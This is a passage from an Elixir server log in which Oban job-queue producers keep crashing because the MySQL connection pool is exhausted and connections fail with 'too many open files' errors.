    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:55:00.244491Z], limit: 20, uuid: "979622ce-3cff-498d-bc31-f396a13a9f27", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:00.244496Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73928>, refresh_timer: #Reference<0.2525715032.1099431938.73913>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:55:00.243132Z], limit: 3, uuid: "41caf032-3cf1-43ba-9687-216bf8ea5837", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:00.243237Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73933>, refresh_timer: #Reference<0.2525715032.1068498948.87200>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:12.684000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:13.369000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:15.676000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:15.968000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:17.625000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:18.733000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:19.145000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:21.130000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:55:12.239350Z], limit: 50, uuid: "55153dcc-9471-4164-9313-b857376ebf28", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:12.239355Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.74305>, refresh_timer: #Reference<0.2525715032.1099431938.74253>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:55:12.238944Z], limit: 5, uuid: "4ed3dc83-dba8-49e6-86c6-d97b9e9542a3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:12.238950Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.74303>, refresh_timer: #Reference<0.2525715032.1099431938.74229>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:55:12.239887Z], limit: 20, uuid: "a520e37d-2c40-4253-a34f-62e6e7183812", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:12.239892Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.87332>, refresh_timer: #Reference<0.2525715032.1068498948.87319>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:55:12.239738Z], limit: 5, uuid: "139de7cb-6a1d-4793-9c17-49d511272f1e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:12.239743Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.74304>, refresh_timer: #Reference<0.2525715032.1099431938.74265>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:55:12.239244Z], limit: 10, uuid: "5f261c27-e77f-4414-986f-fb8f687e209b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:12.239249Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.74302>, refresh_timer: #Reference<0.2525715032.1099431938.74247>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:55:12.240082Z], limit: 3, uuid: "4e8f0edd-d187-4fa1-a7b5-8f3134dd8921", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:12.240086Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.74306>, refresh_timer: #Reference<0.2525715032.1099431938.74280>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:27.523000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:29.348000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:30.579000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:32.882000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:33.848000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:34.711000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:34.990000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
